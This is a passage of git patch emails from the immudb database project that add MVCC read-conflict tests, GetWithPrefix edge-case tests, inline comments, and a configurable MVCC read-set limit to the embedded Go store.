-410,7 +417,7 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } defer snap.Close() - for _, e := range tx.expectedGetsWithFilters { + for _, e := range tx.expectedGets { valRef, err := snap.GetWithFilters(e.key, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { From 80586841cd8cef30f52b36c575e41367fdc2a45d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 15:19:56 -0300 Subject: [PATCH 0073/1062] test(embedded/tbtree): unit testing for GetWithPrefix Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/reader_test.go | 3 +++ embedded/tbtree/snapshot.go | 10 +--------- embedded/tbtree/snapshot_test.go | 5 ++++- 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/embedded/tbtree/reader_test.go b/embedded/tbtree/reader_test.go index b3dc8435d8..f535942f00 100644 --- a/embedded/tbtree/reader_test.go +++ b/embedded/tbtree/reader_test.go @@ -33,6 +33,9 @@ func TestReaderForEmptyTreeShouldReturnError(t *testing.T) { require.NoError(t, err) defer snapshot.Close() + _, err = snapshot.NewReader(ReaderSpec{SeekKey: make([]byte, tbtree.maxKeySize+1)}) + require.ErrorIs(t, err, ErrIllegalArguments) + r, err := snapshot.NewReader(ReaderSpec{SeekKey: []byte{0, 0, 0, 0}, DescOrder: false}) require.NoError(t, err) diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index cd7fd912ea..7308b3bd94 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -138,15 +138,7 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value [ leafValue := leaf.values[off] - if len(prefix) > len(leafValue.key) { - return nil, nil, 0, 0, ErrKeyNotFound - } - - if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { - return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil - } - - return nil, nil, 0, 0, ErrKeyNotFound + return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil } func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, error) { diff --git a/embedded/tbtree/snapshot_test.go b/embedded/tbtree/snapshot_test.go index 6069efa9e3..78f8c6bf29 100644 --- a/embedded/tbtree/snapshot_test.go +++ b/embedded/tbtree/snapshot_test.go @@ -167,7 +167,10 @@ func TestSnapshotIsolation(t *testing.T) { require.NoError(t, err) require.NotZero(t, ts) - _, _, _, _, err = snap1.GetWithPrefix([]byte("key3"), []byte("key3")) + _, _, _, _, err = snap1.GetWithPrefix([]byte("key3"), nil) + require.ErrorIs(t, err, ErrKeyNotFound) + + _, _, _, _, err = snap1.GetWithPrefix([]byte("key1"), []byte("key1")) require.ErrorIs(t, err, ErrKeyNotFound) }) From 3a24035ebed3bea4826493255070ede79fe7e5dd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 15:26:20 -0300 Subject: [PATCH 0074/1062] test(embedded/store): cover edge cases for GetWithPrefix Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index db03d23f45..8bd555226d 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1089,6 +1089,12 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) + _, err = tx.GetWithFilters([]byte("key1"), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, _, err = tx.GetWithPrefixAndFilters([]byte("key1"), nil, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + key, valRef, err := tx.GetWithPrefix([]byte("key1"), []byte("key")) require.NoError(t, err) require.NotNil(t, key) @@ -1262,6 +1268,9 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = immuStore.GetWithFilters([]byte{1, 2, 3}, nil) require.ErrorIs(t, err, ErrIllegalArguments) + _, _, err = immuStore.GetWithPrefixAndFilters([]byte{1, 2, 3}, nil, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + valRef, err := immuStore.GetWithFilters([]byte{1, 2, 3}) require.NoError(t, err) require.NotNil(t, valRef) From f47c17563ea74ab7c38ec960f41b03cf8a297ef9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 16:18:05 -0300 Subject: [PATCH 0075/1062] test(embedded/sql): further mvcc test cases Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 91 +++++++++++++++++++++++++++++++++++-- 1 file changed, 88 insertions(+), 3 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 29a8e7b99d..a783819a93 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5461,8 +5461,25 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec("CREATE INDEX ON table1 (active);", nil, nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (payload);", nil, nil) - require.NoError(t, err) + t.Run("read conflict should be detected when a new index was created by another transaction", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("CREATE INDEX ON table1 (payload);", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.ErrorIs(t, err, store.ErrTxReadConflict) + }) t.Run("no read conflict should be detected when processing transactions without overlapping rows", func(t *testing.T) { tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) @@ -5471,7 +5488,7 @@ func TestMVCC(t *testing.T) { tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) require.NoError(t, err) _, _, err = engine.Exec("COMMIT;", nil, tx1) @@ -5612,6 +5629,74 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec("COMMIT;", nil, tx2) require.NoError(t, err) }) + + t.Run("read conflict should be detected when processing transactions with invalidated queries in desc order", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', true, x'0A10');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil, tx2) + require.NoError(t, err) + + for { + _, err = rowReader.Read() + if err != nil { + require.ErrorIs(t, err, ErrNoMoreRows) + break + } + } + + err = rowReader.Close() + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.ErrorIs(t, err, store.ErrTxReadConflict) + }) + + t.Run("no read conflict should be detected when processing transactions with non invalidated queries in desc order", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil, tx2) + require.NoError(t, err) + + for { + _, err = rowReader.Read() + if err != nil { + require.ErrorIs(t, err, ErrNoMoreRows) + break + } + } + + err = rowReader.Close() + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.NoError(t, err) + }) } func TestConcurrentInsertions(t *testing.T) { From e38b6e5a158b3dee9c2c4c6ebdd456aeb0b4cc54 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 16:30:42 -0300 Subject: [PATCH 0076/1062] chore(embedded/store): inline comments Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 2 ++ embedded/store/ongoing_tx_keyreader.go | 4 +++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 7a5c66a816..44b1acee4f 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -408,9 +408,11 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } if tx.IsWriteOnly() || tx.snap.Ts() > st.lastPrecommittedTxID() { + // read-only transactions or read-write transactions when no other transaction was committed won't be invalidated return nil } + // current snapshot is fetched without flushing snap, err := st.syncSnapshot() if err != nil { return err diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 6bb4612b40..29127d1eab 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -34,11 +34,13 @@ type expectedRead struct { expectedNoMoreEntries bool } +// ongoingTxKeyReader wraps a keyReader and keeps track of read entries +// read entries are validated against the current database state at commit time type ongoingTxKeyReader struct { tx *OngoingTx keyReader KeyReader - offset uint64 + offset uint64 // offset and filtering is handled by the wrapper in order to have full control of read entries skipped uint64 expectedReader *expectedReader From dc75397b9786a6ae1e2b29e618a54c1ce46123c2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 21 Dec 2022 11:41:39 -0300 Subject: [PATCH 0077/1062] test(embedded/store): cover additional mvcc cases Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 74 +++++++++++++++++++++++++ embedded/store/immustore_test.go | 94 ++++++++++++++++++++++++++++++++ 2 files changed, 168 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index a783819a93..631ae1bbcf 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5697,6 +5697,80 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec("COMMIT;", nil, tx2) require.NoError(t, err) }) + + t.Run("no read conflict should be detected when processing transactions with non invalidated queries", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + rowReader, err := engine.Query("SELECT * FROM table1 LIMIT 2", nil, tx2) + require.NoError(t, err) + + for { + _, err = rowReader.Read() + if err != nil { + require.ErrorIs(t, err, ErrNoMoreRows) + break + } + } + + err = rowReader.Close() + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.NoError(t, err) + }) + + t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + rowReader, err := engine.Query("SELECT * FROM table1 ORDER BY id DESC LIMIT 1 OFFSET 1", nil, tx2) + require.NoError(t, err) + + for { + _, err = rowReader.Read() + if err != nil { + require.ErrorIs(t, err, ErrNoMoreRows) + break + } + } + + err = rowReader.Close() + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.ErrorIs(t, err, store.ErrTxReadConflict) + }) } func TestConcurrentInsertions(t *testing.T) { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 8bd555226d..c33275c540 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -3862,4 +3862,98 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx3.Commit() require.ErrorIs(t, err, ErrTxReadConflict) }) + + t.Run("read conflict should be detected when read keys are deleted by the ongoing transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + tx3, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx2.Delete([]byte("key1")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + + err = tx3.Delete([]byte("key1")) + require.NoError(t, err) + + r, err := tx3.NewKeyReader(KeyReaderSpec{ + Prefix: []byte("key"), + Filters: []FilterFn{IgnoreDeleted}, + }) + require.NoError(t, err) + + for { + _, _, err = r.Read() + if errors.Is(err, ErrNoMoreEntries) { + break + } + } + + err = r.Close() + require.NoError(t, err) + + _, err = tx3.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) + + t.Run("read conflict should be detected when read keys are deleted by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + err = tx1.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + tx3, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx2.Delete([]byte("key1")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + + r, err := tx3.NewKeyReader(KeyReaderSpec{ + Prefix: []byte("key"), + Filters: []FilterFn{IgnoreDeleted}, + Offset: 1, + }) + require.NoError(t, err) + + for { + _, _, err = r.Read() + if errors.Is(err, ErrNoMoreEntries) { + break + } + } + + err = r.Close() + require.NoError(t, err) + + err = tx3.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + _, err = tx3.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) } From 81405ddeac2dc57ec52b96059c64ae8a4111a789 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 21 Dec 2022 12:16:47 -0300 Subject: [PATCH 0078/1062] chore(embedded/store): fix typo in inline comment Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 44b1acee4f..f669864516 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -49,7 +49,7 @@ type OngoingTx struct { type expectedGet struct { key []byte filters []FilterFn - expectedTx uint64 // 0 used denotes non-existence + expectedTx uint64 // 0 used to denote non-existence } type expectedGetWithPrefix struct { @@ -57,7 +57,7 @@ type expectedGetWithPrefix struct { neq []byte filters []FilterFn expectedKey []byte - expectedTx uint64 // 0 used denotes non-existence + expectedTx uint64 // 0 used to denote non-existence } type EntrySpec struct { From e025c8f1f3b283994faba2ea51a106a386722f48 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 22 Dec 2022 09:34:58 -0300 Subject: [PATCH 0079/1062] chore(embedded/store): validate gets using filters Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index f669864516..99fab7bfab 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -35,6 +35,7 @@ type OngoingTx struct { preconditions []Precondition + //MVCC expectedGets []expectedGet expectedGetsWithPrefix []expectedGetWithPrefix expectedReaders []*expectedReader @@ -437,7 +438,7 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } for _, e := range tx.expectedGetsWithPrefix { - key, valRef, err := snap.GetWithPrefix(e.prefix, e.neq) + key, valRef, err := snap.GetWithPrefixAndFilters(e.prefix, e.neq, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { return ErrTxReadConflict From d41dbc372a0aa284e05f66dd45be7e882d4bc43f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 21 Dec 2022 14:47:06 -0300 Subject: [PATCH 0080/1062] chore(embedded/store): MVCC read-set with boundaries Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 7 +++++++ embedded/store/immustore_test.go | 3 +++ embedded/store/ongoing_tx.go | 21 +++++++++++++++++++++ embedded/store/ongoing_tx_keyreader.go | 21 +++++++++++++++++++++ embedded/store/options.go | 12 ++++++++++++ embedded/store/options_test.go | 1 + 6 files changed, 65 insertions(+) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 74796a1808..d64b2bbb95 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -59,6 +59,7 @@ var ErrorMaxValueLenExceeded = errors.New("max value length exceeded") var ErrPreconditionFailed = errors.New("precondition failed") var ErrDuplicatedKey = errors.New("duplicated key") var ErrMaxActiveTransactionsLimitExceeded = errors.New("max active transactions limit exceeded") +var ErrMVCCReadSetLimitExceeded = errors.New("MVCC read-set limit exceeded") var ErrMaxConcurrencyLimitExceeded = errors.New("max concurrency limit exceeded") var ErrorPathIsNotADirectory = errors.New("path is not a directory") var ErrorCorruptedTxData = errors.New("tx data is corrupted") @@ -158,6 +159,7 @@ type ImmuStore struct { synced bool syncFrequency time.Duration maxActiveTransactions int + mvccReadSetLimit int maxWaitees int maxConcurrency int maxIOConcurrency int @@ -496,6 +498,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable synced: opts.Synced, syncFrequency: opts.SyncFrequency, maxActiveTransactions: opts.MaxActiveTransactions, + mvccReadSetLimit: opts.MVCCReadSetLimit, maxWaitees: opts.MaxWaitees, maxConcurrency: opts.MaxConcurrency, maxIOConcurrency: opts.MaxIOConcurrency, @@ -981,6 +984,10 @@ func (s *ImmuStore) MaxActiveTransactions() int { return s.maxActiveTransactions } +func (s *ImmuStore) MVCCReadSetLimit() int { + return s.mvccReadSetLimit +} + func (s *ImmuStore) MaxConcurrency() int { return s.maxConcurrency } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index c33275c540..e8cf587ff3 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1100,6 +1100,9 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NotNil(t, key) require.NotNil(t, valRef) + _, _, err = tx.GetWithPrefix([]byte("key1"), []byte("key1")) + require.ErrorIs(t, err, embedded.ErrKeyNotFound) + r, err := tx.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) require.NoError(t, err) require.NotNil(t, r) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 99fab7bfab..fe6844d9a5 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -39,6 +39,7 @@ type OngoingTx struct { expectedGets []expectedGet expectedGetsWithPrefix []expectedGetWithPrefix expectedReaders []*expectedReader + readsetSize int metadata *TxMetadata @@ -273,7 +274,12 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, filters: filters, } + if tx.readsetSize == tx.st.mvccReadSetLimit { + return nil, ErrMVCCReadSetLimitExceeded + } + tx.expectedGets = append(tx.expectedGets, expectedGet) + tx.readsetSize++ } if err != nil { return nil, err @@ -287,7 +293,12 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, expectedTx: valRef.Tx(), } + if tx.readsetSize == tx.st.mvccReadSetLimit { + return nil, ErrMVCCReadSetLimitExceeded + } + tx.expectedGets = append(tx.expectedGets, expectedGet) + tx.readsetSize++ } return valRef, nil @@ -314,7 +325,12 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt filters: filters, } + if tx.readsetSize == tx.st.mvccReadSetLimit { + return nil, nil, ErrMVCCReadSetLimitExceeded + } + tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWithPrefix) + tx.readsetSize++ } if err != nil { return nil, nil, err @@ -330,7 +346,12 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt expectedTx: valRef.Tx(), } + if tx.readsetSize == tx.st.mvccReadSetLimit { + return nil, nil, ErrMVCCReadSetLimitExceeded + } + tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWithPrefix) + tx.readsetSize++ } return key, valRef, nil diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 29127d1eab..65ccc14eb3 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -54,6 +54,10 @@ func newExpectedReader(spec KeyReaderSpec) *expectedReader { } func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyReader, error) { + if tx.readsetSize == tx.st.mvccReadSetLimit { + return nil, ErrMVCCReadSetLimitExceeded + } + rspec := KeyReaderSpec{ SeekKey: spec.SeekKey, EndKey: spec.EndKey, @@ -71,6 +75,7 @@ func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyRead expectedReader := newExpectedReader(spec) tx.expectedReaders = append(tx.expectedReaders, expectedReader) + tx.readsetSize++ return &ongoingTxKeyReader{ tx: tx, @@ -99,7 +104,12 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b expectedNoMoreEntries: true, } + if r.tx.readsetSize == r.tx.st.mvccReadSetLimit { + return nil, nil, ErrMVCCReadSetLimitExceeded + } + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + r.tx.readsetSize++ } if err != nil { @@ -113,7 +123,12 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b expectedTx: valRef.Tx(), } + if r.tx.readsetSize == r.tx.st.mvccReadSetLimit { + return nil, nil, ErrMVCCReadSetLimitExceeded + } + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + r.tx.readsetSize++ filterEntry := false @@ -144,9 +159,15 @@ func (r *ongoingTxKeyReader) Reset() error { return err } + if r.tx.readsetSize == r.tx.st.mvccReadSetLimit { + return ErrMVCCReadSetLimitExceeded + } + r.expectedReader.expectedReads = append(r.expectedReader.expectedReads, nil) r.expectedReader.i++ + r.tx.readsetSize++ + return nil } diff --git a/embedded/store/options.go b/embedded/store/options.go index 17d205e6da..ae8caa871c 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -29,6 +29,7 @@ import ( ) const DefaultMaxActiveTransactions = 1000 +const DefaultMVCCReadSetLimit = 100_000 const DefaultMaxConcurrency = 30 const DefaultMaxIOConcurrency = 1 const DefaultMaxTxEntries = 1 << 10 // 1024 @@ -73,6 +74,7 @@ type Options struct { CompactionDisabled bool MaxActiveTransactions int + MVCCReadSetLimit int MaxConcurrency int MaxIOConcurrency int @@ -136,6 +138,7 @@ func DefaultOptions() *Options { logger: logger.NewSimpleLogger("immudb ", os.Stderr), MaxActiveTransactions: DefaultMaxActiveTransactions, + MVCCReadSetLimit: DefaultMVCCReadSetLimit, MaxConcurrency: DefaultMaxConcurrency, MaxIOConcurrency: DefaultMaxIOConcurrency, @@ -209,6 +212,10 @@ func (opts *Options) Validate() error { return fmt.Errorf("%w: invalid MaxActiveTransactions", ErrInvalidOptions) } + if opts.MVCCReadSetLimit <= 0 { + return fmt.Errorf("%w: invalid MVCCReadSetLimit", ErrInvalidOptions) + } + if opts.MaxConcurrency <= 0 { return fmt.Errorf("%w: invalid MaxConcurrency", ErrInvalidOptions) } @@ -377,6 +384,11 @@ func (opts *Options) WithMaxActiveTransactions(maxActiveTransactions int) *Optio return opts } +func (opts *Options) WithMVCCReadSetLimit(mvccReadSetLimit int) *Options { + opts.MVCCReadSetLimit = mvccReadSetLimit + return opts +} + func (opts *Options) WithMaxConcurrency(maxConcurrency int) *Options { opts.MaxConcurrency = maxConcurrency return opts diff --git a/embedded/store/options_test.go b/embedded/store/options_test.go index 23c53a7109..5671f7be96 100644 --- a/embedded/store/options_test.go +++ b/embedded/store/options_test.go @@ -119,6 +119,7 @@ func TestValidOptions(t *testing.T) { require.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).FileSize) require.Equal(t, DefaultSyncFrequency, opts.WithSyncFrequency(DefaultSyncFrequency).SyncFrequency) require.Equal(t, DefaultMaxActiveTransactions, opts.WithMaxActiveTransactions(DefaultMaxActiveTransactions).MaxActiveTransactions) + require.Equal(t, DefaultMVCCReadSetLimit, opts.WithMVCCReadSetLimit(DefaultMVCCReadSetLimit).MVCCReadSetLimit) require.Equal(t, DefaultMaxIOConcurrency, opts.WithMaxIOConcurrency(DefaultMaxIOConcurrency).MaxIOConcurrency) require.Equal(t, DefaultMaxKeyLen, opts.WithMaxKeyLen(DefaultMaxKeyLen).MaxKeyLen) require.Equal(t, DefaultMaxTxEntries, opts.WithMaxTxEntries(DefaultMaxTxEntries).MaxTxEntries) From 0d94a117601cbf485d3596543985bb21f16dcab1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 21 Dec 2022 15:43:22 -0300 Subject: [PATCH 0081/1062] test(embedded/store): cover mvcc read-set boundaries Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 171 +++++++++++++++++++++++++++++++ embedded/store/options_test.go | 2 + 2 files changed, 173 insertions(+) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index e8cf587ff3..2d41609378 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -237,6 +237,7 @@ func TestImmudbStoreSettings(t *testing.T) { require.Equal(t, 1, immuStore.MaxConcurrency()) require.Equal(t, DefaultOptions().MaxIOConcurrency, immuStore.MaxIOConcurrency()) require.Equal(t, DefaultOptions().MaxActiveTransactions, immuStore.MaxActiveTransactions()) + require.Equal(t, DefaultOptions().MVCCReadSetLimit, immuStore.MVCCReadSetLimit()) require.Equal(t, DefaultOptions().MaxTxEntries, immuStore.MaxTxEntries()) require.Equal(t, DefaultOptions().MaxKeyLen, immuStore.MaxKeyLen()) require.Equal(t, DefaultOptions().MaxValueLen, immuStore.MaxValueLen()) @@ -3960,3 +3961,173 @@ func TestImmudbStoreMVCC(t *testing.T) { require.ErrorIs(t, err, ErrTxReadConflict) }) } + +func TestImmudbStoreMVCCBoundaries(t *testing.T) { + mvccReadsetLimit := 3 + + immuStore, err := Open(t.TempDir(), DefaultOptions().WithMVCCReadSetLimit(mvccReadsetLimit)) + require.NoError(t, err) + + defer immuStore.Close() + + t.Run("MVCC read-set limit should be reached when randomly reading keys", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + for i := 0; i < mvccReadsetLimit; i++ { + _, err = tx1.Get([]byte(fmt.Sprintf("key%d", i))) + require.ErrorIs(t, err, ErrKeyNotFound) + } + + for i := 0; i < mvccReadsetLimit; i++ { + _, err = tx1.Get([]byte(fmt.Sprintf("key%d", i))) + require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) + } + + err = tx1.Cancel() + require.NoError(t, err) + }) + + t.Run("MVCC read-set limit should not be reached when reading an updated key", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + for i := 0; i <= mvccReadsetLimit; i++ { + err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) + require.NoError(t, err) + } + + for i := 0; i <= mvccReadsetLimit; i++ { + _, err = tx1.Get([]byte(fmt.Sprintf("key%d", i))) + require.NoError(t, err) + } + + err = tx1.Cancel() + require.NoError(t, err) + }) + + t.Run("MVCC read-set limit should be reached 